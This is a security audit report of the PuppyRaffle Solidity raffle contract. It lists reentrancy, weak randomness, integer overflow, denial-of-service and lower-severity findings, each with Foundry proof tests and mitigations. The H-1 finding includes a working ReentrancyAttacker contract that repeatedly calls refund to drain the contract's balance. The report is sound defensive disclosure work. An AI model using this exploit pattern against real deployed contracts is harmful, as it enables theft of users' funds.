Protocol Audit Report

Cyfrin.io

February 8, 2026

PuppyRaffle Audit Report

Version 1.0

Cyfrin.io

February 8, 2026

Prepared by: Cyfrin Lead Auditors: - Yusuf

1 Table of Contents

2 Protocol Summary

3 Puppy Raffle

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

4 Disclaimer

The Yusuf team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

5 Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

6 Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8
- In Scope:

6.1 Scope

```
./src/
-- PuppyRaffle.sol
```

6.2 Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

7 Executive Summary

I loved auditing this codebase. Patrick is such a code wizard.

7.1 Issues found

Severity	Count
High	4
Medium	1
Low	3
Gas	2
Info	5
Total	15

8 Findings

9 High

9.1 [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

IMPACT: HIGH LIKELIHOOD: HIGH

Description: The `PuppyRaffle::refund` does not follow (Checks, Effects, Interactions) and as a result enables participants to drain contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the
       player can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player
       already refunded, or is not active");

    payable(msg.sender).sendValue(entranceFee);
    players[playerIndex] = address(0);

    emit RaffleRefunded(playerAddress);
}
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees made by raffle reentrants could be stolen by malicious participants.

Proof of Concept:

1. User enters the raffle.
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`.
3. Attacker enters the raffle.
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code:

Place the following into `PuppyRaffleTest.t.sol`

```
function test_ReentrancyAttack() public playersEntered {
    uint256 contractBalanceBefore = address(puppyRaffle).balance;
    emit log_named_uint("Contract balance before attack:",
       contractBalanceBefore);

    ReentrancyAttacker attacker = new ReentrancyAttacker(
       puppyRaffle);
    vm.deal(address(attacker), 1 ether);

    uint256 attackerBalanceBefore = address(attacker).balance;
    emit log_named_uint("Attacker balance before:",
       attackerBalanceBefore);

    attacker.attack();

    uint256 contractBalanceAfter = address(puppyRaffle).balance;
    uint256 attackerBalanceAfter = address(attacker).balance;

    emit log_named_uint("Contract balance after attack:",
       contractBalanceAfter);
    emit log_named_uint("Attacker balance after:",
       attackerBalanceAfter);
    emit log_named_uint("Stolen amount:", attackerBalanceAfter -
       attackerBalanceBefore);
```

```
        assertGt(attackerBalanceAfter, attackerBalanceBefore);
    }
```

And this contract as well.

```
    contract ReentrancyAttacker {
        PuppyRaffle public puppyRaffle;
        uint256 public entranceFee;
        uint256 public attackerIndex;

        constructor(PuppyRaffle _puppyRaffle) {
            puppyRaffle = _puppyRaffle;
            entranceFee = puppyRaffle.entranceFee();
        }
        function attack() external payable {
            address[] memory players = new address[](1);
            players[0] = address(this);
            puppyRaffle.enterRaffle{value: entranceFee}(players);

            attackerIndex = puppyRaffle.getActivePlayerIndex(address(
               this));
            puppyRaffle.refund(attackerIndex);
        }
        receive() external payable {
            if (address(puppyRaffle).balance >= entranceFee) {
                puppyRaffle.refund(attackerIndex);
            }
        }
    }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
        function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
           player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
           already refunded, or is not active");

+         players[playerIndex] = address(0);
+         emit RaffleRefunded(playerAddress);

        payable(msg.sender).sendValue(entranceFee);

-         players[playerIndex] = address(0);
-         emit RaffleRefunded(playerAddress);
    }
```

9.2 [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This means users could front-run this function and call `refund` if they see they are not the winner.

```
        uint256 winnerIndex =
                    uint256(keccak256(abi.encodePacked(msg.sender,
                       block.timestamp, block.difficulty))) % players.
                       length;
                address winner = players[winnerIndex];

        uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender,
            block.difficulty))) % 100;
```

Impact: Any user can influnce the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the Solidity blog on prevrando. `block.difficulty` was recently replaced with prevrando.
2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using cryptographically provable random number generator such as Chainlink VRF.

9.3 [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

IMPACT: HIGH LIKELIHOOD: MEDIUM

Description: In solidity version prior to `0.8.0` integers were subject to integer overflows. The `PuppyRaffle::selectWinner` function casts a `uint256` fee value to `uint64` when accumulating total fees. Since Solidity 0.7.6 does not have built-in overflow protection and `totalFees` is declared as `uint64`, any fees exceeding `type(uint64).max` (18,446,744,073,709,551,615 wei ~= 18.44 ETH) will silently overflow, causing the protocol to lose track of the actual fees collected.

```
uint64 public totalFees = 0;

function selectWinner() external {

    uint256 fee = (totalAmountCollected * 20) / 100;

    // Unsafe casting from uint256 to uint64
    totalFees = totalFees + uint64(fee);
}
```

When `fee` exceeds `type(uint64).max`, the cast silently truncates the value, and when `totalFees + uint64(fee)` exceeds `type(uint64).max`, it wraps around to a small number.

Impact:

1. Fee Loss: Once accumulated fees exceed ~18.44 ETH, the overflow causes `totalFees` to wrap around, losing track of actual fees owed to the protocol.

2. Broken Fee Withdrawal: The `withdrawFees` function requires `address(this).balance == uint256(totalFees)`, which will always fail after overflow since the tracked fees no longer match the actual balance.
3. Locked Funds: All fees become permanently locked in the contract since the withdrawal check will never pass.

Proof of Concept:

1. Create contract with 1 ETH entrance fee
2. Run 24 raffles with 4 players each, generating 0.8 ETH fee per raffle
3. After ~23 raffles, uint64 can't hold more and wraps to small number
4. Contract has 19.2 ETH actual balance, but totalFees shows tiny amount
5. withdrawFees fails because `balance == totalFees` check fails, fees permanently locked

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point there will be too much `balance` in the contract that `selfdestruct` will be impossible.

Proof of Code:

Place the following into your `PuppyRaffleTest.t.sol`

```
    function testFeeOverflow() public {
        // Calculate how many raffles needed to overflow uint64
        // type(uint64).max = 18446744073709551615 wei
        // Fee per raffle with 4 players = (4 * 1e18 * 20) / 100 = 0.8
            e18
        // Number of raffles to overflow = 18446744073709551615 / 0.8
            e18 ~= 23 raffles

        uint256 numRaffles = 24; // Enough to cause overflow

        for (uint256 i = 0; i < numRaffles; i++) {
            // Enter 4 players
            address[] memory players = new address[](4);
            for (uint256 j = 0; j < 4; j++) {
                players[j] = address(uint160(i * 4 + j + 1));
            }

            vm.deal(address(this), entranceFee * 4);
            puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

            // Fast forward time and select winner
            vm.warp(block.timestamp + 1 days + 1);
            puppyRaffle.selectWinner();

            console.log("Raffle", i + 1, "- totalFees:", puppyRaffle.
                totalFees());
        }

        // After overflow, totalFees wraps around and is much smaller
            than expected
        uint64 recordedFees = puppyRaffle.totalFees();
        uint256 actualBalance = address(puppyRaffle).balance;

        emit log_named_uint("Recorded totalFees (uint64):",
            recordedFees);
        emit log_named_uint("Actual contract balance:", actualBalance);
        emit log_named_uint("Expected fees (24 raffles * 0.8 ETH):", 24
            * 0.8e18);

        // Demonstrate that fees are severely underreported due to
           overflow
        assertLt(recordedFees, actualBalance);

        // Try to withdraw - will fail because balance doesn't match
           totalFees
        vm.expectRevert("PuppyRaffle: There are currently players
           active!");
        puppyRaffle.withdrawFees();
    }
```

Output:

```
[PASS] testFeeOverflow() (gas: 6642723)
    Logs:
    Recorded totalFees (uint64):: 753255926290448384            [0.75
       ETH]
    Actual contract balance:: 19200000000000000000              [19.2
       ETH]
    Expected fees (24 raffles * 0.8 ETH):: 19200000000000000000 [19.2
       ETH]
```

This result proves overflow which puts the contract at risk.

Recommended Mitigation:

1. **Upgrade Solidity version**: Use Solidity ˆ0.8.0 or higher which has built-in overflow/underflow checks, or use SafeMath library for 0.7.6 (not professional enough).
2. Remove the balance check from `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

3. **Use `uint256` for `totalFees`**: Change the storage variable to handle larger values.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
```

4. **Remove unsafe casting**:

```
-   totalFees = totalFees + uint64(fee);
+   totalFees = totalFees + fee;
```

9.4 [H-4] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffl` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

IMPACT: MEDIUM LIKELIHOOD: MEDIUM

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be automatically lower than those who enter later. Every additional address in the `players` array is an additional check the loop will have to make.

```
for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big that no one else enters, guaranteeing themselves the win.

Proof of Concept

If we have 2 sets of 100 players, the gas costs will be as such: - First 100 players: ~23971622 - Second 100 players: ~88937355

This is more than 3.5 times more expensive for the second 100 players

Place the following test into `PuppyRaffleTest.t.sol`

```
    function test_DoS() public {
            // Enter 100 players
            address[] memory players = new address[](100);
            for (uint256 i = 0; i < 100; i++) {
                players[i] = address(uint160(i));
            }
            uint256 gasStart = gasleft();
            puppyRaffle.enterRaffle{value: entranceFee * 100}(players);
            uint256 gasUsed1 = gasStart - gasleft();

            // Enter another 100 players (200 total)
            address[] memory players2 = new address[](100);
            for (uint256 i = 0; i < 100; i++) {
                players2[i] = address(uint160(i + 100));
            }
            gasStart = gasleft();
            puppyRaffle.enterRaffle{value: entranceFee * 100}(players2)
                ;
            uint256 gasUsed2 = gasStart - gasleft();

            emit log_named_uint("Gas for first 100", gasUsed1);
            emit log_named_uint("Gas for second 100", gasUsed2);
            emit log_named_uint("Difference", gasUsed2 - gasUsed1);
        }
```

Recommnded Mitigation There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways so a duplicate check does not prevent same person from entering multiple times. Only the same wallet address
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered

```
    contract PuppyRaffle is ERC721, Ownable {
    using Address for address payable;

    uint256 public immutable entranceFee;

    address[] public players;
    uint256 public raffleDuration;
    uint256 public raffleStartTime;
    address public previousWinner;

    // We do some storage packing to save gas
    address public feeAddress;
    uint64 public totalFees = 0;

+   // Mapping to track players per raffle for O(1) duplicate checking
+   mapping(address => uint256) public addressToRaffleId;
+   uint256 public raffleId = 0;

    // mappings to keep track of token traits
    mapping(uint256 => uint256) public tokenIdToRarity;
    mapping(uint256 => string) public rarityToUri;
    mapping(uint256 => string) public rarityToName;

    /// @notice duplicate entrants are not allowed
    /// @param newPlayers the list of players to enter the raffle
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
           PuppyRaffle: Must send enough to enter raffle");
+
        for (uint256 i = 0; i < newPlayers.length; i++) {
+           require(addressToRaffleId[newPlayers[i]] != raffleId, "
   PuppyRaffle: Duplicate player");
            players.push(newPlayers[i]);
+           addressToRaffleId[newPlayers[i]] = raffleId;
        }

-       // Check for duplicates
-       // @audit DoS
-       for (uint256 i = 0; i < players.length - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
-               require(players[i] != players[j], "PuppyRaffle:
   Duplicate player");
-           }
-       }
        emit RaffleEnter(newPlayers);
    }

    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
           players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
               timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
        totalFees = totalFees + uint64(fee);

        uint256 tokenId = totalSupply();
        uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender,
            block.difficulty))) % 100;
        if (rarity <= COMMON_RARITY) {
            tokenIdToRarity[tokenId] = COMMON_RARITY;
        } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
            tokenIdToRarity[tokenId] = RARE_RARITY;
        } else {
            tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
        }

        delete players;
        raffleStartTime = block.timestamp;
        previousWinner = winner;
+       raffleId++;
+
        (bool success,) = winner.call{value: prizePool}("");
        require(success, "PuppyRaffle: Failed to send prize pool to
           winner");
        _safeMint(winner, tokenId);
    }
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` Library

10 Medium

10.1 [M-1] Smart contract wallets raffle winners without a `receive` or `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However if the winner is a smart contract that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money.

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback/receive function.
2. The lottery ends.
3. The `selectWinner` function would not work, even though the lottery is over

Recommended Mitigation:

1. Do not allow smart contract wallet entrants (not recommended).
2. Create a mapping of address => payout so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize (recommended).

   Pull over Push

11 Low

11.1 [L-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

11.2 [L-2] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

Found in src/PuppyRaffle.sol Line: 62

```
    feeAddress = _feeAddress;
```

Found in src/PuppyRaffle.sol Line: 168

```
    feeAddress = newFeeAddress;
```

11.3 [L-3] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0 causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0 but according to the natspec it will return 0 if the player is not in the array.

```
        /// @return the index of the player in the array, if they are
           not active, it returns 0
        function getActivePlayerIndex(address player) external view
           returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0.
3. User thinks they have not entered correctly due to the function documentation.

Recommended Mitigation: The easiest reccomendation is to revert if the player is not in the array instead of returning 0.

You could reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

12 Informational

12.1 [I-1] Using an outdated version of solidity is not recommended, please use a newer version like 0.8.20

Description: solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use version `0.8.20`

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information

12.2 [I-2] `PuppyRaffle::selectWinner` does not follow CEI which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
-        (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to
   winner");
         _safeMint(winner, tokenId);
+        (bool success,) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to
   winner");
```

12.3 [I-3] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase. and its much more readable if the numbers are given a name.

Examples:

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
        uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
        uint256 public constant FEE_PERCENTAGE = 20;
        uint256 public constant POOL_PRECISION = 100;
```

12.4 [I-4] State changes are missing events

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

12.5 [I-5] `PuppyRaffle::_isActivePlayer` is never used and should be removed

13 Gas

13.1 [G-1] Unchanged state variables should be declared constants/immutable

Reading from storage is much more expensive than reading from a constant/immutable variable

Instances: - `PuppyRaffle::RaffleDuration` should be `Immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

13.2 [G-2] Storage variables in a loop should be cached

Everytime you call `players.Length` you read from storage, as opposed to memory which is more gas efficient.

```
+         uint256 playersLength = players.length
-         for (uint256 i = 0; i < players.length - 1; i++) {
+         for (uint256 i = 0; i < playersLength - 1; i++) {
-                 for (uint256 j = i + 1; j < players.length; j++) {
+                 for (uint256 j = i + 1; j < playersLength; j++) {
                     require(players[i] != players[j], "PuppyRaffle:
                         Duplicate player");
                 }
             }
```